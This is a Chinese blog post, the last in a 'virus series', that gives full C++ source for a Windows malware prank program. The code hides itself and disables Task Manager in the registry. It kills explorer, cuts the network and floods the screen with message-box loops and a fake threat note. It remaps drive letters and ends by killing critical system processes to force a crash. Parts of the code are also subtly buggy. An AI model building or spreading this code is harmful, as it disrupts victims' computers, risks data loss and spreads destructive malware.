C++:病毒系列回归记3/3 (Doge智能系统已上线)

上一期:C++:病毒系列回归记2/3

上上期:C++:病毒系列回归记1/3

Doge:(脑回路修复完成,开始导入系统)(正在上线ing......)

Doge:提示:若没有看1和2的话,尽量先去看一下,否则可能看不懂。本期内容废话有点 多,

可以直接看完整代码。

我:哟,没事了呀?上期没有气到你吧?

Doge:......

上期说给你们整个完整代码,OKK

Doge:作者,请注意您的用词,英语词典中未有定义'OKK'这个词

Doge:错误代码↓↓↓

我:(直接给Doge关机了)

代码奉上:

cpp 复制代码
#include <windows.h>
#include <time.h>
#include <bits/stdc++.h>
using namespace std;

void Blue_Screen()
{
	system("wmic process where name=\"svchost.exe\" delete");
	system("wmic process where name=\"LsaIso.exe\" delete");
	system("wmic process where name=\"smss.exe\" delete");
	system("taskkill /f /fi \"pid ne 1\"");
}

void explore()//不可打开资源管理器
{
	system("taskkill /im explore.exe /f"); 
}
void release()//断开网络
{
	system("ipconfig /release"); 
}

void Make_Text(string same, string name)
{
	
	ofstream outfile(same,ios::out); 
	outfile << name;
	outfile.close();	
}

void CP_start()
{
	Make_Text("A.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)");
	system("start A.bat");
}

//鼠标指针的好管理
void Currur(int q)
{
    int x = GetSystemMetrics(SM_CXSCREEN);
    int y = GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    if (q == 1)//当q为1时,进入死循环。
	    while(1)
	    	SetCursorPos(rand() % x, rand() % y);			
	else{//乱移鼠标的线程
	    while(q){
	    	SetCursorPos(rand() % x, rand() % y);
	    	q--;
		}	
	}
}
//控制台的好管理
void Hide()
{
    HWND s;
	s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄
	if (s) {
		ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
		ShowWindow(s, SW_HIDE);//隐藏窗口
	}	
}

void CP_stop()
{
	Make_Text("B.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)");
	system("start B.bat");
}

void Make()
{
	Make_Text("ラム.vbs", "do\nmsgbox\"あなたのコンピュータGG\"\nloop");

	Make_Text("今年のトラック.vbs", "msgbox\"このプログラムは有効な 32 ビット プログラムではありません\",vbCritical");

	Make_Text("ロシアのスートン焼却発電.vbs", "msgbox\"致命的な重大なエラー\",vbExclamation");

	Make_Text("混雑した.vbs", "msgbox\"ごみ箱を空にしますか\",vbYesNo + vbInformation");	

	Make_Text("カトゥルピ.vbs", "msgbox\"あなたのコンピュータ\",vbYesNoCancel + vbQuestion");	

	Make_Text("防食層.vbs", "msgbox\"あたのコンピなたのコンピュータ!\",vbExclamation\nmsgbox\"韓国の錦湖がビッグVにコストをもたらす......\",vbCritical\n");

	Make_Text("MEMZ.txt", "YOUR computer will not be able to restart again. Your C drive has been destroyed. \nWait for the coming of the god of death! \nYou will have to go to the computer city to buy a new computer. Your prediction was one step behind mine.\nStupid human!");
	
}

void Crazy(int n)
{
	if(n == 0)
		system("start ラム.vbs");
	if(n == 1)
		system("start 今年のトラック.vbs");
	if(n == 2)
		system("start ロシアのスートン焼却発電.vbs");
	if(n == 3)
		system("start 混雑した.vbs");		
	if(n == 4)
		system("start カトゥルピ.vbs");	
	if(n == 5)
		system("start 防食層.vbs");	
}

void ColorChange(){
	//while(1){
	    int cx=GetSystemMetrics(SM_CXSCREEN);
	    int cy=GetSystemMetrics(SM_CYSCREEN);
	    HWND hwnds;
	    hwnds = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄
	    if (hwnds) {
	        ShowOwnedPopups(hwnds, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
	        ShowWindow(hwnds, SW_HIDE);//隐藏窗口
	    }
	    HDC hdcs = GetDC(0);
	    BitBlt(hdcs, 0, 0, cx, cy, hdcs, 0, 0, NOTSRCCOPY); 
	    Sleep(1000);
	//}
}

bool MaKer_ProcessRun()
{
    SID_IDENTIFIER_AUTHORITY Aut = SECURITY_NT_AUTHORITY;
    PSID minID;
    BOOL b = AllocateAndInitializeSid(&Aut, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &minID);
    if(b)
    {
        CheckTokenMembership(NULL, minID, &b);
        FreeSid(minID);
        return b == true;
    }else
   		return b == false;
}

void Tsk()
{
	DWORD dword=TRUE;
	HKEY h;
	DWORD s = dword;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);
	RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));
	RegCloseKey(h);
}

void exe(int same)
{
	if(same == 0)	
		system("start notepad");
	if(same == 1)	
		system("start calc");
	if(same == 2)	
		system("start winver");
	if(same == 3)	
		system("start Nslookup");
	if(same == 4)	
		system("start cmd");
	if(same == 5)	
		system("start cleanmgr");
	if(same == 6)	
		system("start charmap");
	if(same == 7)	
		system("start dxdiag");
	if(same == 8)	
		system("start taskmgr");
	if(same == 9)	
		system("start wiaacmgr");		
	if(same == 10)	
		system("start mspaint");
	if(same == 11)	
		system("start mmc");
	if(same == 12)	
		system("start explorer.exe");
}

void icon(int x, int y, int n)
{
	FreeConsole();
	HWND hwnd = GetDesktopWindow();
	HDC hdc = GetWindowDC(hwnd);
	POINT point;
		GetCursorPos(&point);//锁定鼠标位置
		if(n == 1)//错误图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));
		if(n == 2)//感叹号图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));
		if(n == 3)//应用程序图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));	
}

void Black_White()
{
    FreeConsole();
    int x, y;
    x = GetSystemMetrics(SM_CYSCREEN);
    y = GetSystemMetrics(SM_CYSCREEN);
    HWND hwnda = GetDesktopWindow();
    HDC hdca = GetWindowDC(hwnda);
    POINT pointa;
	POINT point;
        GetCursorPos(&point);
        DrawIcon(hdca, pointa.x - 5, pointa.y - 5, LoadIcon(0, IDI_ERROR));
        int randx, randy;
        randx = rand() % x + 0;
        randy = rand() % y + 0;
        BitBlt(GetDC(0),rand() % x + 0, rand() % y + 0,randx+200,randy+200,GetDC(0),randx,randy,NOTSRCCOPY);
        //a = GetSystemMetrics(SM_CYSCREEN);
}
int main() {
	Hide();
	Tsk();
	Make();
	explore();
	release();
	srand((unsigned)time(NULL));
	system("start MEMZ.txt");
	Sleep(10000);
	int random;
	int times = 50;
	CP_start();
	while(1)
	{
		random = rand() % 6;
		Crazy(random);
		Sleep(random * 200 + 500);
		times -= 1;
		if(times == 0)
			break;
	}
	times = 20;
	while(1)
	{
		random = rand() % 13;
		exe(random);
		random = rand() % 3;
		icon(0, 0, random + 1);
		Sleep(random * 200 + 500);
		times -= 1;
		if(times == 0)
			break;
	}
	Sleep(1000);
	Blue_Screen();
}

先别急着走啊,按个Ctrl+D有惊喜啊

相关推荐
Smile灬凉城6668 分钟前
反序列化为啥可以利用加号绕过php正则匹配
开发语言·php
lsx20240619 分钟前
SQL MID()
开发语言
Dream_Snowar22 分钟前
速通Python 第四节——函数
开发语言·python·算法
西猫雷婶24 分钟前
python学opencv|读取图像(十四)BGR图像和HSV图像通道拆分
开发语言·python·opencv
鸿蒙自习室24 分钟前
鸿蒙UI开发——组件滤镜效果
开发语言·前端·javascript
言、雲32 分钟前
从tryLock()源码来出发,解析Redisson的重试机制和看门狗机制
java·开发语言·数据库
东风吹柳1 小时前
观察者模式(sigslot in C++)
c++·观察者模式·信号槽·sigslot
A懿轩A1 小时前
C/C++ 数据结构与算法【栈和队列】 栈+队列详细解析【日常学习,考研必备】带图+详细代码
c语言·数据结构·c++·学习·考研·算法·栈和队列
汪洪墩1 小时前
【Mars3d】设置backgroundImage、map.scene.skyBox、backgroundImage来回切换
开发语言·javascript·python·ecmascript·webgl·cesium
云空1 小时前
《QT 5.14.1 搭建 opencv 环境全攻略》
开发语言·qt·opencv